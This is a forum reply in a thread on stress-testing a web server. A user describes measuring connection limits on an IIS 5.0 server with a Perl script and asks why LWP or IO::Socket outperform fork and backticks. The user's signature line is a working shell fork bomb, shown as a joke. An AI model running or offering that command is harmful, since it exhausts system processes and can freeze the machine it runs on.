Hi, let me add some information.

The web-server in question is IIS 5.0, and the maximum connections is being enforced via it's virtual server properties. Number of connection attempts per second and established (active) connections are monitored via PerfMon.

The original script was able to generate a maximum of 40 connection attempts per second, for a very short period of time (around 2 seconds). After that, it dropped off to 15 or 20 connections attempts per second. This was enough to for my purposes at the time. I was able to show that the server setting for maximum active connections would be enforced.

As I mentioned below, the question that started this was: 'What is my limiting factor in number of attempted connections per second?' All of the responses posted here have been excellent, and I will use them later if I conduct further testing. I was specially hoping that someone would reply and tell me fork was holding me back, or that I should use system() instead of back-ticks, etc.

Another poster mentioned LWP as being more efficent, another one used IO::Socket. I love these -- but I wonder why they work better? Consume less CPU cycles? Less time to allocate memory? Context switching?

Once again, my thanks.

ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

In reply to Re: Re: Stress testing a web server by ibanix
in thread Stress testing a web server by ibanix

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